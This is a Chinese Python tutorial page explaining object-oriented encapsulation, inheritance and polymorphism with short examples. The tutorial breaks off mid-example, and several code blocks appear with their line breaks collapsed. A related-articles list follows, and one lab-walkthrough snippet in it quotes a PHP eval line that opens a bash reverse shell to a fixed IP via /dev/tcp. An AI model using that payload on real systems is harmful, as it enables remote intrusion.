[Python]一、Python基础编程(3)

F:\BaiduNetdiskDownload\2023人工智能开发学习路线图\1、人工智能开发入门\1、零基础Python编程 

1. 面向对象-其他

1.1 面向对象三大特征

封装
        将属性和⽅法书写到类的⾥⾯的操作即为封装
        封装可以为属性和⽅法添加私有权限
继承
        ⼦类默认继承⽗类的所有属性和⽅法
        ⼦类可以重写⽗类属性和⽅法
多态
        传⼊不同的对象,产⽣不同的结果

面向对象编程(OOP)的三大特征是封装继承多态。以下是对这三大特征的详细说明:

1. 封装(Encapsulation)

定义
封装是将数据和操作数据的方法结合在一起,形成一个独立的对象。通过封装,内部实现细节可以隐藏,外部只能通过公开的方法访问和修改对象的状态。

优点

  • 数据保护:可以防止外部直接访问和修改对象的内部状态。
  • 接口简化:通过提供公共方法,简化了与对象的交互。
  • 维护性:更改内部实现时,不会影响外部代码,只需确保公开的方法保持不变。

示例

python

复制

class BankAccount:def __init__(self, balance=0):self.__balance = balance  # 私有属性def deposit(self, amount):if amount > 0:self.__balance += amountdef withdraw(self, amount):if 0 < amount <= self.__balance:self.__balance -= amountdef get_balance(self):return self.__balance  # 公开方法访问私有属性account = BankAccount()
account.deposit(100)
print(account.get_balance())  # 输出: 100

2. 继承(Inheritance)

定义
继承是指一个类(子类)可以继承另一个类(父类)的属性和方法。通过继承,可以实现代码的重用和扩展。

优点

  • 代码重用:避免重复编写相同的代码。
  • 扩展性:可以在子类中扩展或修改父类的功能。
  • 层次结构:形成清晰的类层次结构,便于管理和维护。

示例

python

复制

class Animal:def speak(self):return "Animal sound"class Dog(Animal):def speak(self):return "Bark"class Cat(Animal):def speak(self):return "Meow"dog = Dog()
cat = Cat()
print(dog.speak())  # 输出: Bark
print(cat.speak())  # 输出: Meow

3. 多态(Polymorphism)

定义
多态是指不同类的对象可以通过相同的接口(方法)进行操作。具体执行的操作取决于对象的实际类型,而不是引用的类型。

优点

  • 灵活性:可以用相同的方式处理不同类型的对象。
  • 可扩展性:可以很容易地添加新类型而不影响现有代码。

示例

python

复制

def animal_sound(animal):print(animal.speak())animal_sound(Dog())  # 输出: Bark
animal_sound(Cat())  # 输出: Meow

总结

  • 封装:保护对象的内部状态,通过公共方法进行交互。
  • 继承:允许子类继承和扩展父类的功能,促进代码重用。
  • 多态:通过相同的接口处理不同类型的对象,提高代码的灵活性和可扩展性。

这三大特征共同构成了面向对象编程的基础,使得软件设计更加模块化、可维护和易于扩展。

1.2 多态

多态指的是⼀类事物有多种形态,(⼀个抽象类有多个⼦类,因⽽多态的概念依赖于继承)。
        定义:多态是⼀种使⽤对象的⽅式,⼦类重写⽗类⽅法,调⽤不同⼦类对象的相同⽗类⽅法,可以产⽣不同的执⾏结果
        好处:调⽤灵活,有了多态,更容易编写出通⽤的代码,做出通⽤的编程,以适应需求的不断变化!
        实现步骤:
                定义⽗类,并提供公共⽅法
                定义⼦类,并重写⽗类⽅法
                传递⼦类对象给调⽤者,可以看到不同⼦类执⾏效果不同

举例说明Python中多态的定义 ,好处和实现步骤

多态是面向对象编程中的一个重要特性,它允许不同类的对象通过相同的接口进行操作。下面是关于多态在 Python 中的定义、好处和实现步骤的详细说明。

多态的定义

在 Python 中,多态指的是不同类的实例可以使用相同的方法名,但实现的方式可以不同。通过这种方式,程序可以更灵活地处理不同类型的对象。

多态的好处

  1. 灵活性

    • 可以使用相同的接口处理不同类型的对象,增强了代码的灵活性。
  2. 可扩展性

    • 新的类可以很容易地被添加到系统中,而不需要更改现有代码。
  3. 提高可读性

    • 代码更具可读性,因为它使用统一的接口来处理不同的对象。

实现步骤

  1. 定义一个父类

    • 创建一个父类,定义一个方法(接口),这个方法会在子类中被重写。
  2. 定义子类

    • 创建一个或多个子类,重写父类的方法以实现不同的行为。
  3. 使用多态

    • 创建子类的实例,并通过父类的引用调用重写的方法。
示例

以下是一个具体的示例,展示了如何在 Python 中实现多态。

1. 定义一个父类

python

复制

class Animal:def speak(self):raise NotImplementedError("子类必须实现这个方法")
2. 定义子类

python

复制

class Dog(Animal):def speak(self):return "Bark"class Cat(Animal):def speak(self):return "Meow"class Cow(Animal):def speak(self):return "Moo"
3. 使用多态

python

复制

def animal_sound(animal):print(animal.speak())# 创建对象
dog = Dog()
cat = Cat()
cow = Cow()# 使用多态
animal_sound(dog)  # 输出: Bark
animal_sound(cat)  # 输出: Meow
animal_sound(cow)  # 输出: Moo

总结

  • 多态的定义:不同类的对象可以通过相同的方法名进行操作,具体执行的行为取决于对象的实际类型。
  • 好处:提供灵活性、可扩展性和提高代码可读性。
  • 实现步骤
    1. 定义一个父类并声明方法。
    2. 创建子类并重写父类的方法。
    3. 使用父类的引用调用子类的方法。

通过这种方式,多态使得代码更加灵活且易于扩展,适应不同的需求。

如何在实际项目中应用多态?

多态在实际项目中的应用非常广泛,特别是在设计灵活和可扩展的系统时。以下是一些常见的多态应用场景,以及相关示例。

1. 图形绘制应用

在图形绘制应用中,可以使用多态来处理不同类型的形状(如圆形、矩形等),而不需要知道具体的形状类型。

示例

python

复制

class Shape:def draw(self):raise NotImplementedError("子类必须实现这个方法")class Circle(Shape):def draw(self):return "Drawing a Circle"class Rectangle(Shape):def draw(self):return "Drawing a Rectangle"class Triang

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146538.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

前端-js例子:tab切换

实现效果&#xff1a; 实现步骤&#xff1a; 1. body内容元素 <div class"container"><ul class"top_title"><li class"first" index"1">title1</li><li index"2">title2</li><li …

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

Vue使用axios二次封装、解决跨域问题

1、什么是 axios 在实际开发过程中&#xff0c;浏览器通常需要和服务器端进行数据交互。而 Vue.js 并未提供与服务器端通信的接口。从 Vue.js 2.0 版本之后&#xff0c;官方推荐使用 axios 来实现 Ajax 请求。axios 是一个基于 promise 的 HTTP 客户端。 关于 promise 的详细介…

专为汽车功能应用打造的 MLX90376GGO、MLX90377GGO、MLX90377GDC-ADB-280 Triaxis®磁位置传感器 IC

一、MLX90376 Triaxis堆叠式高性能位置传感器芯片&#xff08;模拟/PWM/SENT/SPC&#xff09; MLX90376GGO-ABA-600 MLX90376GGO-ABA-630 MLX90376GGO-ABA-680 MLX90376是一款磁性绝对位置传感器芯片&#xff0c;适用于要求具备抗杂散磁场干扰性能的360旋转汽车应用。它提供…

Matlab进阶绘图第68期—带分组折线段的分区柱状图

上一篇文章分享了分区柱状图的绘制方法&#xff1a; 带分组折线段的分区柱状图是在原始分区柱状图的基础上&#xff0c;再添加分组折线段&#xff0c;用以增加一个对象的表达。 由于Matlab中未收录的带分组折线段的分区柱状图的绘制方法&#xff0c;因此需要大家自行解决。 本…

C++进阶(2):多态

多态的概念 多态分为编译时多态(静态多态)和运行时多态(动态多态)。**编译时多态&#xff1a;**主要就是我们前面讲的函数重载和函数模版。之所以叫编译时多态&#xff0c;是因为实参传给形参的参数匹配是发生在编译时完成的&#xff08;ps&#xff1a;通常把编译时一般归为静…

Java项目实战II基于Java+Spring Boot+MySQL的网上租贸系统设计与实现(开发文档+源码+数据库)

目录 一、前言 二、技术介绍 三、系统实现 四、论文参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 "随着…

面试-设计模式

策略模式 定义了一组算法&#xff0c;分别封装起来&#xff0c;这些算法直接可以相互替换 设计模式的开闭原则&#xff1a;对修改关闭&#xff0c;对扩展开放 装饰模式 将某种算法作为一个装饰品添加到对象身上&#xff0c;同时可以自由穿戴更换装饰品 两个主要的角色&…

游戏淡入淡出效果

一、制作UIdocument 注&#xff1a;是全黑的&#xff1b;并且Picking Mode设置为Igore 通过调节display中的值&#xff0c;实现淡入淡出效果 二、建立空物体 增加uiDocument 拖入相关的物体 注&#xff1a;层级必须设置为最高&#xff0c;此处为20&#xff0c;这个效果必须遮…

MySQL深入原理

MySQL深入原理 索引、事务、日志原理、InnoDB引擎、缓存、锁 有4个数据库是属于MySQL自带的系统数据库&#xff1a; ​ mysql MySQL 系统自带的核心数据库&#xff0c;它存储了MySQL的用户账户和权限信息&#xff0c;一些存储过程、事件的定义信息&#xff0c;一些运行过程中…

波分技术基础 -- Liquid OTN

什么是Liquid OTN 传统OTN技术主要定位于骨干网和城域网应用&#xff0c;主要用于承载大于1Gbits/s速率业务&#xff0c;在OTN下沉到城域/接入网后&#xff0c;面临如下问题&#xff1a;管道弹性不足&#xff08;最小管道ODU0&#xff09;、连接数少、带宽调整不够灵活等挑战。…

yolov5/8/9模型在COCO分割数据集上的应用【代码+数据集+python环境+GUI系统】

yolov5/8/9模型在COCO分割数据集上的应用【代码数据集python环境GUI系统】 yolov5/8/9模型在COCO分割数据集上的应用【代码数据集python环境GUI系统】 1.COCO数据集介绍 COCO数据集&#xff0c;全称为Microsoft Common Objects in Context&#xff0c;是微软于2014年出资标注的…

更换硬盘后,电脑装完系统进不去?或PE能识别硬盘但开机/启动/BIOS识别不了硬盘解决办法

由于现在的电脑主板&#xff0c;默认都是UEFI启动&#xff0c;硬盘只有使用GUID分区表&#xff0c;主板BIOS才找得到系统引导&#xff01; 而当我们拿到一块新硬盘&#xff0c;使用分区工具默认类型分区&#xff0c;默认是MBR类型&#xff0c;所以这种分区的硬盘&#xff0c;B…

解决Windows10关闭UAC后,开机启动项不生效的问题

Windows10关闭UAC后&#xff0c;会发现启动项不生效。 运行输入gpedit.msc打开组策略&#xff08;家庭版没有组策略功能&#xff09; 依次展开计算机配置-》Windows设置-》安全设置-》本地策略-》安全选项-》用户账户控制&#xff1a;以管理员批准模式运行所有管理员&#xf…

VGG16模型实现新冠肺炎图片多分类

1. 项目简介 本项目的目标是通过深度学习模型VGG16&#xff0c;实现对新冠肺炎图像的多分类任务&#xff0c;以帮助医疗人员对患者的影像进行快速、准确的诊断。新冠肺炎自爆发以来&#xff0c;利用医学影像如X光和CT扫描进行疾病诊断已成为重要手段之一。随着数据量的增加&am…

ETCD学习使用

一、介绍 etcd&#xff08;分布式键值存储&#xff09;是一个开源的分布式系统工具&#xff0c;用于可靠地存储和提供键值对数据。etcd 通常通过 HTTP 或 gRPC 提供 API&#xff0c;允许应用程序通过简单的接口与其交互。由于其可靠性和稳定性&#xff0c;etcd 在构建可扩展、分…

【Linux笔记】如何将内容从一个文件复制到另一个文件

比如&#xff1a;将文件tmp_file.txt中的部分数据&#xff0c;复制到file01.txt中去 tmp_file.txt文中内容&#xff1a; file01.txt为空文档 一、使用vi编辑器 I、文件中直接使用:e 目标文件进行切换文件复制 1、打开被复制文件 vi tmp_file.txt 2、进入一般命令模式 默认情况为…

电机学习-有感BLDC开环控制(六步换相)

文章目录 1. 简介2. 六步换向控制3. 机械角度和电角度4.转子位置获取5.霍尔传感器读取测试6.速度开环控制6.1 PWM设置6.2死区时间 1. 简介 BLDC的反电动势一般是梯形的反电动势&#xff0c;所以采用方波控制。如图2-1所示&#xff0c;是一个简化的内转子无刷直流电机。我们通过…

Remix在SPA模式下,出现ErrorBoundary错误页加载Ant Design组件报错,不能加载样式的问题

Remix是一个既能做服务端渲染&#xff0c;又能做单页应用的框架&#xff0c;如果想做单页应用&#xff0c;又想学服务端渲染&#xff0c;使用Remix可以降低学习成本。最近&#xff0c;在学习Remix的过程中&#xff0c;遇到了在SPA模式下与Ant Design整合的问题。 我用Remix官网…

自动化立体仓库与堆垛机单元的技术参数

导语 大家好&#xff0c;我是社长&#xff0c;老K。专注分享智能制造和智能仓储物流等内容。 新书《智能物流系统构成与技术实践》人俱乐部 完整版文件和更多学习资料&#xff0c;请球友到知识星球【智能仓储物流技术研习社】自行下载。 这份文件是一份自动化立体仓库与堆垛机单…